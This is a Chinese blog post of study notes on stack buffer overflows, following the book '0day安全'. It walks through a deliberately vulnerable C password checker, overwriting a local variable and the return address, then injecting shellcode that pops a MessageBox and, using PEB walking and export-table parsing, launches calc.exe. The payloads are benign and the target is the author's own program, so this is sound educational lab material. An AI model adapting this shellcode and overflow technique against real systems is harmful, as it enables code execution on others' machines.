栈溢出原理与实践

本文最后更新于:2022-03-15 上午

前言

本篇笔记主要是《0day安全:软件漏洞分析技术》第一章第二篇的笔记,记录下栈溢出的原理和实践

栈溢出原理与实践

栈的相关概念就不再介绍了(其实是太懒了,不想再说了,主要搞逆向的对栈应该是非常熟悉了)。

修改邻接变量

函数的局部变量在栈中是一个一个挨着排列的,如果在这些局部变量之中有数组之类的缓冲区,并且程序中存在着数组越界的缺陷,那么越界的数组元素就有可能破坏栈中的相邻变量的值,甚至破坏其中保存的EBP值、返回地址等重要数据。

如图,栈中保存着返回地址,成功覆盖且修改返回地址,指向其他地方就可以执行自己的代码。

现在编写一个简单的例子,来进行说明。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#define PASSWORD "1234567"
int a(char *password)
{
int iRet;
char buffer[8];
iRet = strcmp(password,PASSWORD);
strcpy(buffer,password);
return iRet;
}
int main()
{
int iFlag=0;
char password[1024];
while(1)
{
printf("please input password\n");
scanf("%s",password);
iFlag=a(password);
if(iFlag)
{
printf("wrong\n");
}
else
{
printf("right\n");
break;
}
}
return 0;
}

只有输入正确的密码才会提示right

从上述例子可以看到,我们需要输入密码,然后会调用a函数来进行比较,这是一个人为构造的栈溢出漏洞。

使用OD打开此程序进行调试查看,输入7654321当执行完strcpy函数之后,可以看到此时ebp-4存放的是strcmp的返回值,而上面就是buffer数组了。可以看到此时如果buffer数组的长度再长一些,就会成功覆盖到返回值。根据 strcpy函数返回值,我们只需要将保存iRet的地方覆盖为0即可。

现在尝试输入123456789查看栈内情况,可以看到9已经覆盖了原来的值1。

对于123456789这样一个字符串来说还存在隐藏的第十个字符,截断符NULL也占一个位,也就是如果我们想要成功覆盖返回值,只需要构造一个长度为8的字符串即可。但是必须要大于1234567,因为strcmp返回值如果是小于的话,返回值是-1,也就是FFFFFFFF,这样的话,是没有办法构造字符串成功覆盖的。

输入八个a,查看结果,可以看到本来应该是1的,现在是0。

利用栈溢出,成功绕过验证

修改函数返回地址

前面修改了返回值,而在返回值下面不远处就是返回地址,如果我们可以修改返回地址就会造成更大的伤害。

尝试构造更加长的字符串,输入两串1-9,可以看到此时返回地址处已经被成功覆盖了。

现在只要想办法覆盖到返回地址,让那里的值刚好是另一个地址的值,那么在执行retn的时候就会跳到另一个地址去执行指令。我们现在想办法,让其返回的时候直接返回到成功的地方,就可以了。调试一下,可以看到当前输出正确的地址是0x401106,在返回值处填入此值,就会直接返回到正确处。

控制程序的执行流程

一些十六进制值无法用键盘输入,所以将代码进行修改,使其读取文件内容来进行比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#define PASSWORD "1234567"

int a(char *password)
{
int iRet;
char buffer[8];
iRet = strcmp(password,PASSWORD);
strcpy(buffer,password);
return iRet;
}

int main()
{
int iFlag=0;
char password[1024];
FILE * fp;
if(!(fp=fopen("1.txt","rw+")))
{
return 0;
}
fscanf(fp,"%s",password);
iFlag = a(password);
if(iFlag)
{
printf("wrong\n");
}
else
{
printf("right\n");
}
fclose(fp);
getchar();
return 0;
}

在1.txt内写入如下内容,前两组1234是buffer数组,第三组覆盖iRet,第四组覆盖返回值上面的栈空间,第五组40111F就是输出right的地方,直接让其返回到这里,这样一直都会是正确。

打开程序就会直接提示正确,但是程序也提示了遇到了一些问题,这是因为栈空间被修改,退出时无法保持栈平衡,奔溃了。

代码植入

前面已经介绍了如何覆盖返回地址,前面是返回到程序自身的地址,如果我们构造自己的代码,然后让程序返回到我们自己写的代码处,就可以实现我们想要的功能。修改下之前写的代码,主要修改的地方是buffer的长度,还有fscanf修改为了freadstrcpy修改为了memcpy,主要是之前的函数遇到0就截止了,所以用这两个函数好了。加入LoadLibrary(“user32.dll”),是为了后面shellcode中调用messagebox。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
#define PASSWORD "1234567"

int a(char *password)
{
int iRet;
char buffer[44];
iRet = strcmp(password,PASSWORD);
memcpy(buffer,password,100);
return iRet;
}

int main()
{
int iFlag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");
if(!(fp=fopen("1.txt","rw+")))
{
return 0;
}
fread(password,1024,1,fp);
iFlag = a(password);
if(iFlag)
{
printf("wrong\n");
}
else
{
printf("right\n");
}
fclose(fp);
getchar();
return 0;
}

我们实现一个弹窗的效果,调用MessageBoxA

先来看一下shellcode,这是我的shellcode,书上是通过buffer的大小来保证足够的栈空间执行代码,我没有用书上的方法,我的buffer中存放就是刚好我的shellcode,我是用代码来开辟栈空间。

sub esp,0x100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <Windows.h>
__declspec(naked) int MAIN()
{
__asm
{
sub esp,0x100 //开辟栈空间
push 0
push 'eik'
push 'ca1b'
mov eax ,esp
push 0
push 'tset'
mov ebx,esp
push 0
push ebx
push eax
push 0
mov eax,0x77D507EA //MeeageBoxA的地址
call eax
}
}

首先先通过调试来确定这段代码的开头在哪里,可以看到是12FAEC,这个时候可以构建txt了。

还有就是代码中的MeeageBoxA的地址,可以通过工具Dependency Walker来确定,在当前使用的操作系统中,我的是XP,拖入一个调用了user32.dll的程序,也可以直接把user32.dll拿出来分析。

如图可以看到user32.dll的基地址是77D10000,而MessageBoxA在其中的偏移是407EA,相加就是77D507EA,这就是MessageBoxA的地址。

将shellcode写入,并且将执行shellcode的起始位置写入末尾,来覆盖返回地址。

执行retn之后,可以看到成功来到了shellcode处。

实现了弹窗

也可以在shellcode中实现所有的函数动态加载

在这里,写了一些shellcode的东西shellcode学习

根据这些可以写一个弹计算器的,来进行实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <Windows.h>
DWORD getKernel32();
FARPROC _GetProcAddress(HMODULE hModule);
typedef UINT (WINAPI* FN_WinExec)(
_In_ LPCSTR lpCmdLine,
_In_ UINT uCmdShow);
int MAIN() {
__asm {
sub esp,0x1000
}
HMODULE hAddr = (HMODULE)getKernel32();
typedef FARPROC(WINAPI* FN_GetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
FN_GetProcAddress fn_GetProcAddress;
fn_GetProcAddress = (FN_GetProcAddress)_GetProcAddress(hAddr);
typedef HMODULE(WINAPI* FN_LoadLibraryA)(
_In_ LPCSTR lpLibFileName);
char szLoadLibraryA[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
FN_LoadLibraryA fn_LoadLibraryA = (FN_LoadLibraryA)fn_GetProcAddress(hAddr, szLoadLibraryA);
char szWinexec[] = { 'W','i','n' ,'E' ,'x' ,'e' ,'c' ,0 };
FN_WinExec my_WinExec = (FN_WinExec)fn_GetProcAddress(hAddr, szWinexec);
char szCalc[] = { 'c','a' ,'l' ,'c' ,'.' ,'e' ,'x' ,'e' ,0 };
my_WinExec(szCalc, 0);
return 0;
}
_declspec(naked) DWORD getKernel32() {
__asm {
mov eax, fs: [30h] //获取PEB
mov eax, [eax + 0Ch] //获取_PEB_LDR_DATA
mov eax, [eax + 14h] //InMemoryOrderModuleList,
mov eax, [eax] //程序自身
mov eax, [eax] //ntdll.dll
mov eax, [eax + 10h] //kernel.dll,偏移10H是地址
ret
}
}

FARPROC _GetProcAddress(HMODULE hModule) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader + pDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY lpExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD)pDosHeader +
(DWORD)pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD lpAddressOfNamesArray = (PDWORD)((DWORD)pDosHeader + lpExport->AddressOfNames);
PWORD lpAddressOfNameOrdinalArray = (PWORD)((DWORD)pDosHeader + lpExport->AddressOfNameOrdinals);
PDWORD lpAddressOfFuncArray = (PDWORD)((DWORD)pDosHeader + lpExport->AddressOfFunctions);
DWORD dwNumber = lpExport->NumberOfNames;
DWORD wHint = 0;
FARPROC lpFunc;
for (DWORD i = 0; i < dwNumber; i++) {
char* lpFuncName = (char*)((DWORD)pDosHeader + lpAddressOfNamesArray[i]);
if (lpFuncName[0] == 'G' &&
lpFuncName[1] == 'e' &&
lpFuncName[2] == 't' &&
lpFuncName[3] == 'P' &&
lpFuncName[4] == 'r' &&
lpFuncName[5] == 'o' &&
lpFuncName[6] == 'c' &&
lpFuncName[7] == 'A' &&
lpFuncName[8] == 'd' &&
lpFuncName[9] == 'd' &&
lpFuncName[10] == 'r' &&
lpFuncName[11] == 'e' &&
lpFuncName[12] == 's' &&
lpFuncName[13] == 's') {
wHint = lpAddressOfNameOrdinalArray[i];
lpFunc = (FARPROC)((DWORD)pDosHeader + lpAddressOfFuncArray[wHint]);
break;
}
}
return lpFunc;
}

实现效果

总结

本篇主要是学习了栈溢出的原理,及其中的一些利用,难度不是很高。不过我在做的过程中,还是遇到了一些问题,漏洞利用一定要动手去调试,不能光靠看就得出其中的一些结论。还有一定要注意栈的空间,执行shellcode时候是否有足够的空间,不然压栈是会覆盖原始代码的。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!